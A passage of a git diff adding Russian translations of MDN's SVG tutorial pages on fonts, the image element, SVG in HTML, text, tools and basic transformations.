+<p>Элемент {{ SVGElement("font-face") }} является в SVG эквивалентом объявления шрифта с помощью CSS-свойства <a href="https://developer.mozilla.org/en/CSS/@font-face">@font-face</a>. Он определяет основные свойства финального шрифта, такие как вес, стиль и т. д. В приведенном выше примере, первое и самое важное свойство, которое должно быть определено - это <code>font-family</code>, на значение которого затем можно ссылаться в свойствах CSS и SVG. Атрибуты <code>font-weight</code> и <code>font-style</code> имеют ту же цель, что и соответствующие свойства CSS. Все последующие атрибуты - это команды рендеринга для механизма компоновки шрифтов, задающие, к примеру, какая средняя высота символов направленных вверх или вниз <a href="http://en.wikipedia.org/wiki/Ascender_%28typography%29">выносных элементов</a>.</p>
+
+<p>Дочерний элемент {{ SVGElement("font-face-src") }} соответствует свойству <code>src</code> для атрибута <code>@font-face</code> в CSS. Вы можете указать внешние источники для определения шрифтов с помощью элементов {{ SVGElement("font-face-name") }} и {{ SVGElement("font-face-uri") }}. В приведенном выше примере указано, что если у рендерера имеется локальный доступный шрифт с именем «Super Sans Bold», он должен использовать его.</p>
+
+<p>Следующий элемент за {{ SVGElement("font-face-src") }} - это {{ SVGElement("missing-glyph") }}. Он определяет, что должно отображаться, если символ в шрифте не был найден и если нет запасного варианта. Он также показывает, как создаются глифы: добавлением в него любого графического контента SVG. В нем вы можете использовать буквально любые элементы SVG, даже {{ SVGElement("filter") }}, {{ SVGElement("a") }} или {{ SVGElement("script") }}. Однако для простых глифов вы можете просто добавить атрибут <code>d</code> - он определяет форму для глифа точно так же, как работают стандартные пути SVG.</p>
+
+<p>Сами глифы затем определяются элементами {{ SVGElement("glyph") }}. Наиболее важным атрибутом является <code>unicode</code>. Он определяет код кодировки unicode, представленный этим символом. Если вы указываете атрибут {{htmlattrxref("lang")}} на глифе, вы можете дополнительно ограничить его определенными языками (представленными <code>xml:lang</code>). Вы можете использовать произвольный SVG для определения глифа, и это позволит вам создать замечательные эффекты.<br>
+ <br>
+ Есть еще два элемента, которые могут быть определены внутри шрифта: {{ SVGElement("hkern") }} и {{ SVGElement("vkern") }}. Каждый из них содержит ссылки не менее чем на два символа (атрибуты <code>u1</code> и <code>u2</code>) и атрибут <code>k</code>, который определяет, на сколько должно быть уменьшено расстояние между этими символами. Ниже показан пример инструкции размещения символов «A» и «V» на стандартном расстоянии.</p>
+
+<pre>&lt;hkern u1="A" u2="V" k="20" /&gt;
+</pre>
+
+<h2 id="Ссылка_на_шрифт">Ссылка на шрифт</h2>
+
+<p>После того как вы описали шрифт, как показано выше, вы можете просто применить атрибут <code>font-family</code> для использования шрифта в тексте SVG: </p>
+
+<pre>&lt;font&gt;
+  &lt;font-face font-family="Super Sans" /&gt;
+  &lt;!-- and so on --&gt;
+&lt;/font&gt;
+
+&lt;text font-family="Super Sans"&gt;My text uses Super Sans&lt;/text&gt;
+</pre>
+
+<p>Тем не менее, вы можете объединить несколько методов для того чтобы определить как и где использовать шрифт.</p>
+
+<h3 id="Опция_использование_CSS_font-face">Опция: использование CSS @font-face</h3>
+
+<p>Вы можете использовать свойство <code>@font-face</code> для ссылки на внешние шрифты:</p>
+
+<pre>&lt;font id="Super_Sans"&gt;
+  &lt;!-- and so on --&gt;
+&lt;/font&gt;
+
+&lt;style type="text/css"&gt;
+@font-face {
+  font-family: "Super Sans";
+  src: url(#Super_Sans);
+}
+&lt;/style&gt;
+
+&lt;text font-family="Super Sans"&gt;My text uses Super Sans&lt;/text&gt;</pre>
+
+<h3 id="Опция_ссылка_на_внешний_шрифт">Опция: ссылка на внешний шрифт</h3>
+
+<p>Элемент <code>font-face-uri</code> позволяет ссылаться на внешний шрифт, следовательно, его можно использовать в нескольких местах:</p>
+
+<pre>&lt;font&gt;
+  &lt;font-face font-family="Super Sans"&gt;
+    &lt;font-face-src&gt;
+      &lt;font-face-uri xlink:href="fonts.svg#Super_Sans" /&gt;
+    &lt;/font-face-src&gt;
+  &lt;/font-face&gt;
+&lt;/font&gt;
+</pre>
+
+<p>{{ PreviousNext("Web/SVG/Tutorial/Filter_effects", "Web/SVG/Tutorial/SVG_Image_Tag") }}</p>
diff --git a/files/ru/web/svg/tutorial/svg_image_tag/index.html b/files/ru/web/svg/tutorial/svg_image_tag/index.html
new file mode 100644
index 0000000000..1791c5b8fb
--- /dev/null
+++ b/files/ru/web/svg/tutorial/svg_image_tag/index.html
@@ -0,0 +1,34 @@
+---
+title: SVG image element
+slug: Web/SVG/Tutorial/SVG_Image_Tag
+translation_of: Web/SVG/Tutorial/SVG_Image_Tag
+---
+<p>{{ PreviousNext("Web/SVG/Tutorial/SVG_Fonts", "Web/SVG/Tutorial/Tools_for_SVG") }}</p>
+
+<p>SVG тег {{ SVGElement("image") }} позволяет выводить растровые изображения внутри SVG-объектов.</p>
+
+<p>В примере ниже растровое изображение <strong>a.jpg</strong>, заданное при помощи атрибута {{ SVGAttr("href") }}, отображено внутри SVG-объекта:</p>
+
+<pre class="brush: xml">&lt;?xml version="1.0" standalone="no"?&gt;
+&lt;!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
+  "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"&gt;
+&lt;svg width="5cm" height="4cm" version="1.1"
+     xmlns="http://www.w3.org/2000/svg" xmlns:xlink= "http://www.w3.org/1999/xlink"&gt;
+	&lt;image xlink:href="firefox.jpg" x="0" y="0" height="50px" width="50px"/&gt;
+&lt;/svg&gt;</pre>
+
+<div class="warning">
+<p>Важные замечания (подробнее <a class="external" href="http://www.w3.org/TR/SVG/struct.html#ImageElement" title="http://www.w3.org/TR/SVG/struct.html#ImageElement">W3 specs</a>):</p>
+</div>
+
+<ul>
+ <li>
+  <p>Если параметры <strong>x</strong> или <strong>y</strong> не заданы, то им будут присвоены значения равные <strong>0</strong>.</p>
+ </li>
+ <li>
+  <p>Если параметры <strong>height</strong> или <strong>width</strong> не заданы, то им будут присвоены значения равные <strong>0</strong>.</p>
+ </li>
+ <li>Если значение любого из параметров изображения <strong>height</strong> или <strong>width</strong> равны <strong>0</strong>, то отображение отключено.</li>
+</ul>
+
+<p>{{ PreviousNext("Web/SVG/Tutorial/SVG_Fonts", "Web/SVG/Tutorial/Tools_for_SVG") }}</p>
diff --git a/files/ru/web/svg/tutorial/svg_in_html_introduction/index.html b/files/ru/web/svg/tutorial/svg_in_html_introduction/index.html
new file mode 100644
index 0000000000..fc3ab83319
--- /dev/null
+++ b/files/ru/web/svg/tutorial/svg_in_html_introduction/index.html
@@ -0,0 +1,115 @@
+---
+title: SVG в HTML. Введение
+slug: Web/SVG/Tutorial/SVG_In_HTML_Introduction
+translation_of: Web/SVG/Tutorial/SVG_In_HTML_Introduction
+---
+<h2 id="Overview" name="Overview">Описание</h2>
+
+<p>Эта статья содержит пример использования SVG в качестве фонового изображения для формы. В примере демонстрируется, как JavaScript и CSS может быть использован для того, чтобы производить операции с векторным изображением (svg) так, будто вы используете обычный сценарий для XHTML. Необходимо понимать, что пример работоспособен лишь в браузерах, которые поддерживают XHTML (не HTML), а также интеграцию SVG.</p>
+
+<h2 id="Source" name="Source">Код</h2>
+
+<p>Демонстрация примера <a class="external" href="/presentations/xtech2005/svg-canvas/SVGDemo.xml" title="presentations/xtech2005/svg-canvas/SVGDemo.xml">здесь</a>:</p>
+
+<pre class="brush: html">&lt;html xmlns="http://www.w3.org/1999/xhtml"&gt;
+&lt;head&gt;
+&lt;title&gt;XTech SVG Demo&lt;/title&gt;
+&lt;style&gt;
+  stop.begin { stop-color:yellow; }
+  stop.end { stop-color:green; }
+  body.invalid stop.end { stop-color:red; }
+  #err { display:none; }
+  body.invalid #err { display:inline; }
+&lt;/style&gt;
+&lt;script&gt;
+  function signalError() {
+    document.getElementById('body').setAttribute("class", "invalid");
+  }
+&lt;/script&gt;
+&lt;/head&gt;
+&lt;body id="body"
+  style="position:absolute; z-index:0; border:1px solid black; left:5%; top:5%; width:90%; height:90%;"&gt;
+&lt;form&gt;
+  &lt;fieldset&gt;
+    &lt;legend&gt;HTML Form&lt;/legend&gt;
+    &lt;p&gt;&lt;label&gt;Введите что-нибудь:&lt;/label&gt;
+    &lt;input type="text"/&gt;
+    &lt;span id="err"&gt;Incorrect value!&lt;/span&gt;&lt;/p&gt;
+    &lt;p&gt;&lt;input type="button" value="Activate!" onclick="signalError();" /&gt;&lt;/p&gt;
+  &lt;/fieldset&gt;
+&lt;/form&gt;
+
+&lt;svg xmlns="http://www.w3.org/2000/svg" version="1.1"
+  viewBox="0 0 100 100" preserveAspectRatio="xMidYMid slice"
+  style="width:100%; height:100%; position:absolute; top:0; left:0; z-index:-1;"&gt;
+  &lt;linearGradient id="gradient"&gt;
+    &lt;stop class="begin" offset="0%"/&gt;
+    &lt;stop class="end" offset="100%"/&gt;
+  &lt;/linearGradient&gt;
+  &lt;rect x="0" y="0" width="100" height="100" style="fill:url(#gradient)" /&gt;
+  &lt;circle cx="50" cy="50" r="30" style="fill:url(#gradient)" /&gt;
+&lt;/svg&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Discussion" name="Discussion">Примечание</h2>
+
+<p>В примере представлен обычный XHTML, CSS и JavaScript код. Здесь есть лишь одна особенность, это наличие SVG элемента. Этот элемент объявлен в специальном пространстве имен SVG, содержит градиент и две фигуры заполненные градиентом. По замыслу, когда пользователь введет что-нибудь неправильное, то скрипт установит для BODY класс .invalid, где правила стиля изменяют цвет градиента и делают видимым сообщение об ошибке.</p>
+
+<p>Такой способ имеет следующие пункты в свою пользу:</p>
+
+<ul>
+ <li>Мы использовали штатную XHTML форму, которая уже может присутствовать на веб-сайте, и добавили привлекательный, интерактивный фон</li>
+ <li>Подход имеет обратную совместимость с браузерами, которые не поддерживают SVG; Элемент SVG просто не отобразится, не повлияв на текущую верстку.</li>
+ <li>Это очень просто сделать.</li>
+ <li>Изображение масштабируемое и может растягиваться до нужного размера</li>
+ <li>Мы можем применять декларированные стили как для HTML так и для SVG</li>
+ <li>С помощью JavaScript можно управлять как HTML так и SVG</li>
+ <li>Это полностью валидный документ, основанный на стандартах.</li>
+</ul>
+
+<div class="note">
+<p>Чтобы к изображению с DOM добавить связь встроенного SVG, необходимо использовать setAttributeNS, установив href как показано в следующем примере:</p>
+
+<pre class="brush: js"> var img = document.createElementNS("http://www.w3.org/2000/svg", "image");
+
+img.setAttributeNS("http://www.w3.org/1999/xlink", "xlink:href", "move.png");
+
+
+</pre>
+</div>
+
+<h2 id="Details" name="Details">Дополнительно</h2>
+
+<p>Значение атрибута  <code>viewBox</code> определяет область в пространстве пользователя, относительно внешним границам просмотра.</p>
+
+<p><code>viewBox="x y w h" - где: x- левый верхний угол по оси x, y- левый верхний угол по оси y, w- ширина в пользовательской единице измерения, h- высота (соответственно). В данном примере использовалось значение:</code></p>
+
+<pre class="brush: html"><code>viewBox="0 0 100 100" </code></pre>
+
+<p>Размер изображения svg (заданный атрибутами width и height), может отличаться от области просмотра. Для регулирования отрисовки такого изображения используется атрибут <code>preserveAspectRatio. </code>С его помощью могут быть заданы правила выравнивания и поведения при переполнении (overflow)  области просмотра, края svg могут быть обрезаны или вписаны.</p>
+
+<pre class="brush: html"> preserveAspectRatio="alignment [meet | slice]"</pre>
+
+<p><code>alignment </code>- одно из значений  <code>xMinYMin, xMinYMid, xMinYMax, xMidYMin, xMidYMid, xMidYMax, xMaxYMin, xMaxYMid</code> или <code>xMaxYMax</code>.</p>
+
+<p><code>meet </code>- сохраняет пропорции, умещая svg в область просмотра</p>
+
+<p><code>slice </code>- тоже cохраняет пропорции, но масштабирует по максимальной границе области просмотра, обрезая часть изображения, которая не поместиласть в область</p>
+
+<p>Также есть спецификатор <code>none который означает, что изображение заполнит область путем масштабирования сторон, не сохраняя пропорции (растянет).</code></p>
+
+<pre class="brush: html"> preserveAspectRatio="none"</pre>
+
+<p>Атрибут <code>style </code>применяется для определения стиля элемента.</p>
+
+<h2 id="Related_Links" name="Related_Links">Ссылки по теме</h2>
+
+<ul>
+ <li>Сохранение пропорций <a href="http://xiper.net/learn/svg/svg-essentials/preserving-aspect-ratio">ссылка</a></li>
+ <li>Масштабирование и сдвиг <a href="https://msdn.microsoft.com/ru-ru/library/gg589508(v=vs.85).aspx">msdn.microsoft</a></li>
+ <li>Еще SVG в XHTML: <a href="/en-US/docs/SVG/Namespaces_Crash_Course/Example" title="SVG/Namespaces_Crash_Course/Example">пример</a></li>
+</ul>
+
+<p> </p>
diff --git a/files/ru/web/svg/tutorial/texts/index.html b/files/ru/web/svg/tutorial/texts/index.html
new file mode 100644
index 0000000000..29170aae1e
--- /dev/null
+++ b/files/ru/web/svg/tutorial/texts/index.html
@@ -0,0 +1,74 @@
+---
+title: Текст
+slug: Web/SVG/Tutorial/Texts
+translation_of: Web/SVG/Tutorial/Texts
+---
+<div>{{PreviousNext("Web/SVG/Tutorial/Patterns", "Web/SVG/Tutorial/Basic_Transformations")}}</div>
+
+<p> </p>
+
+<p>Говоря о тексте в SVG мы должны различать две отдельные темы. Первая это добавление и отображение текста в изображении, а вторая - SVG шрифты. Последняя будет описана в следующем разделе этого туториала, а пока мы полностью сфокусируемся на первой части: добавление текста в SVG изображение.</p>
+
+<h2 id="Основы">Основы</h2>
+
+<p>В <a href="ru/docs/Web/SVG/Tutorial/Getting_Started">getting started</a> мы уже видели, что элемент <code>text</code> может использоваться для размещения произвольного текста в SVG документах:</p>
+
+<pre class="brush:xml">&lt;text x="10" y="10"&gt;Hello World!&lt;/text&gt;
+</pre>
+
+<p>Атрибуты <code>x</code> и <code>y</code> задают расположение текста на экране. Атрибут <code>text-anchor</code>, который может иметь значение start, middle, end или inherit, определяет в каком направлении выравнивать текст относительно заданной точки. <br>
+ <br>
+ Как и для фигур, тексту можно задать цвет с помощью атрибута <code>fill</code> и обводку, используя атрибут <code>stroke</code>. Оба могут быть использованы с <code>gradient</code> и <code>pattern</code> элементами, что делает простое изменение цвета текста в SVG очень мощным по сравнению с CSS 2.1.</p>
+
+<h2 id="Настройка_свойств_шрифта">Настройка свойств шрифта</h2>
+
+<p>Шрифт, в котором отображается текст очень важен. SVG предлагает набор атрибутов (многие из которых похожи на их CSS аналоги), позволяющий настроить шрифт.  Каждое из следующих свойств может быть установлено как атрибут или с помощью CSS декларации: <code>font-family</code>, <code>font-style</code>, <code>font-weight</code>, <code>font-variant</code>, <code>font-stretch</code>, <code>font-size</code>, <code>font-size-adjust</code>, <code>kerning</code>, <code>letter-spacing</code>, <code>word-spacing</code> и <code>text-decoration</code>.</p>
+
+<h2 id="Другие_текстовые_элементы">Другие текстовые элементы</h2>
+
+<h3 id="tspan">tspan</h3>
+
+<p>Этот элемент используется для выделения частей длинного текста. Он должен быть вложенным в <code>text</code> элемент или в другой <code>tspan</code> элемент. Примером является выделение одного слова в предложении красным цветом. </p>
+
+<pre class="brush:xml">&lt;text&gt;
+  &lt;tspan font-weight="bold" fill="red"&gt;This is bold and red&lt;/tspan&gt;
+&lt;/text&gt;
+</pre>
+
+<p>Элемент <code>tspan</code> имеет следующие атрибуты:<br>
+ <br>
+ <strong>x</strong><br>
+ Задает новую координату по Х (аналогично абсолютному позиционированию в CSS) для вложенного текста. Что перезаписывает, установленную по-умолчанию позицию. Атрибут может также содержать набор чисел, которые поочередно применяются к каждому символу <code>tspan</code>.</p>
+
+<p><strong>dx</strong><br>
+ Задает смещение по горизонтали <code>dx</code> относительно текущей позиции. Здесь вы также можете задавать набор значений, которые последовательно применяются к каждому символу, устанавливая смещение относительно предыдущего.</p>
+
+<p>Аналогично, для вертикального перемещения текста имеются <strong>y</strong> и <strong>dy</strong> атрибуты.<br>
+ <br>
+ <strong>rotate</strong><br>
+ Поворачивает символ на заданный угол. Атрибуту можно задавать набор чисел, которые поочередно применяются к символам. Если количество чисел в наборе меньше чем количество букв, то угол для всех оставшихся символов будет равен последнему значению в наборе.<br>
+ <br>
+ <strong>textLength</strong><br>
+ Атрибут строго задает длину строки. Он предназначен для того, чтобы механизм рендеринга мог точно настраивать позиции глифов, когда измеренная длина текста не соответствует той, что указана в атрибуте.</p>
+
+<h3 id="tref">tref</h3>
+
+<p>Элемент <code>tref</code> позволяет ссылаться на уже существующий текст, эффективно копируя его на свое место. Вы можете использовать атрибут <code>xlink:href</code> чтобы указать на  элемент, текст которого должен быть скопирован. Затем вы можете изменить его стили и внешний вид независимо от источника. </p>
+
+<pre class="brush:xml">&lt;text id="example"&gt;This is an example text.&lt;/text&gt;
+
+&lt;text&gt;
+    &lt;tref xlink:href="#example" /&gt;
+&lt;/text&gt;
+</pre>
+
+<h3 id="textPath">textPath</h3>
+
+<p>Этот атрибут извлекает <code>path</code>, используя свой атрибут xlink:href и выравнивает вложенный текст по этому пути.</p>
+
+<pre class="brush:xml">&lt;path id="my_path" d="M 20,20 C 40,40 80,40 100,20" fill="transparent" /&gt;
+&lt;text&gt;
+  &lt;textPath xlink:href="#my_path"&gt;This text follows a curve.&lt;/textPath&gt;
+&lt;/text&gt;</pre>
+
+<div>{{PreviousNext("Web/SVG/Tutorial/Patterns", "Web/SVG/Tutorial/Basic_Transformations")}}</div>
diff --git a/files/ru/web/svg/tutorial/tools_for_svg/index.html b/files/ru/web/svg/tutorial/tools_for_svg/index.html
new file mode 100644
index 0000000000..97a63678a3
--- /dev/null
+++ b/files/ru/web/svg/tutorial/tools_for_svg/index.html
@@ -0,0 +1,72 @@
+---
+title: Tools for SVG
+slug: Web/SVG/Tutorial/Tools_for_SVG
+translation_of: Web/SVG/Tutorial/Tools_for_SVG
+---
+<p>{{ PreviousNext("Web/SVG/Tutorial/SVG_Image_Tag") }}</p>
+
+<p>Теперь, когда мы рассмотрели основы SVG, мы рассмотрим некоторые инструменты для работы с SVG файлами.</p>
+
+<h3 id="Browser_support">Browser support</h3>
+
+<p>As of Internet Explorer 9, all major browsers support SVG: IE 9, Mozilla Firefox, Safari, Google Chrome and Opera. Mobile devices with Webkit-based browsers also support SVG. On older or smaller devices, chances are that SVG Tiny is supported.</p>
+
+<h2 id="Inkscape">Inkscape</h2>
+
+<p>URL: <a class="external" href="http://www.inkscape.org" title="http://www.inkscape.org/">www.inkscape.org</a></p>
+
+<p>Очень важно иметь в инструментарии приличную графическую программу. Inkscape предлагает современную векторную графику с открытым исходным кодом.</p>
+
+<p>Кроме того, SVG является ее родным форматом. Для хранения специфичных для Inkscape данных, файл SVG расширяется элементами и атрибутами в пользовательском пространстве имен, что не мешает выбрать экспорт и в виде простого SVG.</p>
+
+<h2 id="Adobe_Illustrator">Adobe Illustrator</h2>
+
+<p>URL: <a class="external" href="http://www.adobe.com/products/illustrator/">www.adobe.com/products/illustrator/</a></p>
+
+<p>Before Adobe acquired Macromedia, it was the most prominent promoter of SVG. From this time stems the good support of SVG in Illustrator. However, the resulting SVG often shows some quirks, that make it necessary to post-process it for general applicability.</p>
+
+<h2 id="Apache_Batik">Apache Batik</h2>
+
+<p>URL: <a class="external" href="http://xmlgraphics.apache.org/batik/">xmlgraphics.apache.org/batik/</a></p>
+
+<p>Batik is a set of open source tools under the roof of the Apache Software Foundation. The toolkit is written in Java and offers almost complete SVG 1.1 support, as well as some features that were originally planned for SVG 1.2.</p>
+
+<p>Batik offers a viewer (Squiggle), a rasterizer for PNG output, an SVG pretty printer to format SVG files, and a TrueType-to-SVG-Font converter.</p>
+
+<p>Together with <a class="external" href="http://xmlgraphics.apache.org/fop/">Apache FOP</a> Batik can transform SVG to PDF.</p>
+
+<h3 id="Other_renderers">Other renderers</h3>
+
+<p>Several projects exist that can create a raster image from an SVG source. <a class="external" href="http://ImageMagick.org" title="http://imagemagick.org/">ImageMagick</a> is one of the most famous command-line image processing tools. The Gnome library <a class="external" href="http://library.gnome.org/devel/rsvg/" title="http://library.gnome.org/devel/rsvg/">rsvg</a> is used by the Wikipedia to raster their SVG graphics. Usage of headless browsers such as SlimerJS and PhantomJS are also popular for this purpose, as the image produced is closer to what the SVG will look like in the browser.</p>
+
+<h2 id="Raphael_JS">Raphael JS</h2>
+
+<p>URL: <a class="external" href="http://raphaeljs.com/">raphaeljs.com</a></p>
+
+<p>This is a JavaScript library, that acts as an abstraction layer between browser implementations. Notably older versions of Internet Explorer are supported by generating VML, a vector markup language, that is one of two ancestors of SVG and exists since IE 5.5.</p>
+
+<h2 id="Snap.svg">Snap.svg</h2>
+
+<p>URL: <a href="http://snapsvg.io/">snapsvg.io</a></p>
+
+<p>A newer JavaScript abstraction layer from the same author of Raphael JS. Snap.svg is designed for modern browsers and therefore supports the newest SVG features like masking, clipping, patterns, full gradients, groups. It does not support the older browsers that Raphael does.</p>
+
+<section id="sect1"> </section>
+
+<h2 id="Google_Docs">Google Docs</h2>
+
+<p>URL: <a class="external" href="http://www.google.com/google-d-s/drawings/">www.google.com/google-d-s/drawings/</a></p>
+
+<p>Drawings from Google Docs can be exported as SVG.</p>
+
+<h2 id="Science">Science</h2>
+
+<p>The well-known plotting tools xfig and gnuplot both support exporting as SVG. To render graphs on the web <a class="external" href="http://jsxgraph.uni-bayreuth.de/wp/" title="http://jsxgraph.uni-bayreuth.de/wp/">JSXGraph</a> supports VML, SVG and canvas, automatically deciding which technology to use based on browser capabilities.</p>
+
+<p>In GIS (Geographic Information System) applications SVG is often used as both storage and rendering format. See <a class="external" href="http://carto.net">carto.net</a> for details.</p>
+
+<h2 id="More_tools!">More tools!</h2>
+
+<p>The W3C offers a <a class="external" href="http://www.w3.org/Graphics/SVG/WG/wiki/Implementations">list of programs</a> that support SVG.</p>
+
+<p>{{ PreviousNext("Web/SVG/Tutorial/SVG_Image_Tag") }}</p>
diff --git a/files/ru/web/svg/tutorial/базовые_преобразования/index.html b/files/ru/web/svg/tutorial/базовые_преобразования/index.html
new file mode 100644
index 0000000000..6aa2b20b16
--- /dev/null
+++ b/files/ru/web/svg/tutorial/базовые_преобразования/index.html
@@ -0,0 +1,98 @@
+---
+title: Базовые трансформации
+slug: Web/SVG/Tutorial/Базовые_Преобразования
+translation_of: Web/SVG/Tutorial/Basic_Transformations
+---
+<div>{{PreviousNext("Web/SVG/Tutorial/Texts", "Web/SVG/Tutorial/Clipping_and_masking")}}</div>
+
+<p>Теперь мы готовы начать изменять наши замечательные изображения. Но сначала давайте ознакомимся с {{SVGElement("g")}} элементом. С его помощью вы можете  назначить свойства для любого набора элементов. На самом деле, в этом и состоит его единственная цель. Например:</p>
+
+<div id="two_blocks">
+<pre class="brush: html notranslate">&lt;svg width="30" height="10"&gt;
+    &lt;g fill="red"&gt;
+        &lt;rect x="0" y="0" width="10" height="10" /&gt;
+        &lt;rect x="20" y="0" width="10" height="10" /&gt;
+    &lt;/g&gt;
+&lt;/svg&gt;
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('two_blocks', '30', '10', '', 'Web/SVG/Tutorial/Basic_Transformations') }}</p>
+
+<p>Все последующие преобразования суммируются в атрибуте преобразования элемента <code>transform</code> . Преобразования могут быть последовательно суммированы, разделителем выступает пробел.</p>
+
+<h2 id="Перемещения">Перемещения</h2>
+
+<p>Иногда необходимо сместить элемент, хотя вы спозиционировали его согласно определенным атрибутам. Для этого используется <code>translate()</code>.</p>
+
+<pre class="brush: html notranslate">&lt;svg width="40" height="50" style="background-color:#bff;"&gt;
+    &lt;rect x="0" y="0" width="10" height="10" transform="translate(30,40)" /&gt;
+&lt;/svg&gt;
+</pre>
+
+<p>Пример генерирует прямоугольник, перемещенный в точку  (30,40) вместо точки (0,0).</p>
+
+<p>{{ EmbedLiveSample('Translation', '40', '50', '', 'Web/SVG/Tutorial/Basic_Transformations') }}</p>
+
+<p>если второе значение не задано, то оно приравнивается <var>0</var>.</p>
+
+<h2 id="Вращение">Вращение</h2>
+
+<p>Вращение элементов - это достаточно типичная задача. Используйте  <code>rotate()</code> для этого:</p>
+
+<pre class="brush: html notranslate">&lt;svg width="31" height="31"&gt;
+    &lt;rect x="12" y="-10" width="20" height="20" transform="rotate(45)" /&gt;
+&lt;/svg&gt;
+</pre>
+
+<p>Данный пример показывает квадрат который повернули на 45 градусов. Значение для <code>rotate()</code> задается в градусах.</p>
+
+<p>{{ EmbedLiveSample('Rotation', '31', '31', '', 'Web/SVG/Tutorial/Basic_Transformations') }}</p>
+
+<h2 id="Смещение_углов">Смещение углов</h2>
+
+<p>Чтобы сделать ромб из нашего прямоугольника, доступны преобразования skewX () и skewY (). Каждый из них принимает угол, определяющий, насколько элемент будет искажен.</p>
+
+<h2 id="Масштабирование">Масштабирование</h2>
+
+<p><code>scale()</code> изменяем размер элемента. Он использует 2 параметра. Первый - это коэффициент масшабирования по оси Х, а второй - по оси Y.  Коэффициенты выражают сжатие по отношению к оригинальному изображению. Например, <var>0.5 уменьшает на 50%. Если второй параметр отсутствует, то тогда он принимается равным первому.</var></p>
+
+<h2 id="Комплексные_перемещения_с_matrix"><strong id="docs-internal-guid-68ee5272-9619-cb26-01de-19a4df728cd5">Комплексные перемещения с <code>matrix()</code></strong></h2>
+
+<p>Все приведенные выше преобразования могут быть описаны с помощью матрицы перемещений 2x3. Чтобы объединить несколько перемещений, можно установить результирующую матрицу с помощью <code>matrix(a, b, c, d, e, f)</code>, которая преобразует координаты из предыдущей системы координат в новую систему координат посредством:</p>
+
+<p><math display="block"><semantics><mrow><mo>{</mo><mtable rowspacing="0.5ex"><mtr><mtd><msub><mi>x</mi><mstyle mathvariant="normal"><mrow><mi>new</mi><mi></mi><mi>C</mi><mi>o</mi><mi>o</mi><mi>r</mi><mi>d</mi><mi>S</mi><mi>y</mi><mi>s</mi></mrow></mstyle></msub><mo>=</mo><mi>a</mi><msub><mi>x</mi><mstyle mathvariant="normal"><mrow><mi>prev</mi><mi>C</mi><mi>o</mi><mi>o</mi><mi>r</mi><mi>d</mi><mi>S</mi><mi>y</mi><mi>s</mi></mrow></mstyle></msub><mo>+</mo><mi>c</mi><msub><mi>y</mi><mstyle mathvariant="normal"><mrow><mi>prev</mi><mi></mi><mi>C</mi><mi>o</mi><mi>o</mi><mi>r</mi><mi>d</mi><mi>S</mi><mi>y</mi><mi>s</mi></mrow></mstyle></msub><mo>+</mo><mi>e</mi></mtd></mtr><mtr><mtd><msub><mi>y</mi><mstyle mathvariant="normal"><mrow><mi>new</mi><mi></mi><mi>C</mi><mi>o</mi><mi>o</mi><mi>r</mi><mi>d</mi><mi>S</mi><mi>y</mi><mi>s</mi></mrow></mstyle></msub><mo>=</mo><mi>b</mi><msub><mi>x</mi><mstyle mathvariant="normal"><mrow><mi>prev</mi><mi></mi><mi>C</mi><mi>o</mi><mi>o</mi><mi>r</mi><mi>d</mi><mi>S</mi><mi>y</mi><mi>s</mi></mrow></mstyle></msub><mo>+</mo><mi>d</mi><msub><mi>y</mi><mstyle mathvariant="normal"><mrow><mi>prev</mi><mi>C</mi><mi>o</mi><mi>o</mi><mi>r</mi><mi>d</mi><mi>S</mi><mi>y</mi><mi>s</mi></mrow></mstyle></msub><mo>+</mo><mi>f</mi></mtd></mtr></mtable></mrow><annotation encoding="TeX">\left\{ \begin{matrix} x_{\mathrm{prevCoordSys}} = a x_{\mathrm{newCoordSys}} + c y_{\mathrm{newCoordSys}} + e \\ y_{\mathrm{prevCoordSys}} = b x_{\mathrm{newCoordSys}} + d y_{\mathrm{newCoordSys}} + f \end{matrix} \right. </annotation></semantics></math></p>
+
+<p>См. <a href="/en-US/docs/Web/SVG/Attribute/transform#General_Transformation">конкретный пример документации SVG</a>. Подробную информацию об этом свойстве можно найти в <a href="http://www.w3.org/TR/SVG/coords.html#TransformMatrixDefined">SVG Рекомендациях</a>.</p>
+
+<h2 id="Эффекты_на_системе_координат">Эффекты на системе координат</h2>
+
+<p>В случае использования преобразований вы устанавливаете новую систему координат внутри элемента, к которому применяются изменения. Это означает, что единицы измерения которые вы определяете и его дочерние еи не будут соответствовать 1:1, но также будут искажены, повернуты, перемещены и смаштабированы в соотвествии с преобразованиями.</p>
+
+<pre class="brush: html notranslate">&lt;svg width="100" height="100"&gt;
+    &lt;g transform="scale(2)"&gt;
+        &lt;rect width="50" height="50" /&gt;
+    &lt;/g&gt;
+&lt;/svg&gt;
+</pre>
+
+<p>В результата прямоугольник в примере выше будет 100x100px. Более интригующие эффекты возникают, когда вы используете такие атрибуты, как <code>userSpaceOnUse</code>.</p>
+
+<p>{{ EmbedLiveSample('Effects_on_Coordinate_Systems', '100', '100', '', 'Web/SVG/Tutorial/Basic_Transformations') }}</p>
+
+<h2 id="Встраивание_SVG_в_SVG">Встраивание SVG в SVG</h2>
+
+<p>В отличие от HTML, SVG позволяет встравивать другие <code>svg</code> элементы без разрыва. Таким образом вы можете запросто создать новую координатную систему используя <code>viewBox</code>, <code>width</code> и<code>height</code> внутреннего <code>svg</code> элемнта.</p>
+
+<pre class="brush: html notranslate">&lt;svg xmlns="http://www.w3.org/2000/svg" version="1.1" width="100" height="100"&gt;
+  &lt;svg width="100" height="100" viewBox="0 0 50 50"&gt;
+    &lt;rect width="50" height="50" /&gt;
+  &lt;/svg&gt;
+&lt;/svg&gt;
+</pre>
+
+<p>На примере выше, так же как и на других примерах ранее, вы можете видеть такой же эффект увеличениея изображения в два раза.</p>
+
+<p>{{ EmbedLiveSample('Embedding_SVG_in_SVG', '100', '100', '', 'Web/SVG/Tutorial/Basic_Transformations') }}</p>
+
+<div>{{PreviousNext("Web/SVG/Tutorial/Texts", "Web/SVG/Tutorial/Clipping_and_masking")}}</div>
diff --git a/files/ru/web/svg/tutorial/введение/index.html b/files/ru/web/svg/tutorial/введение/index.html
new file mode 100644
index 0000000000..0ecb1c5f1c
--- /dev/null
+++ b/files/ru/web/svg/tutorial/введение/index.html
@@ -0,0 +1,44 @@
+---
+title: Введение
+slug: Web/SVG/Tutorial/Введение
+tags:
+  - SVG
+  - Руководство
+translation_of: Web/SVG/Tutorial/Introduction
+---
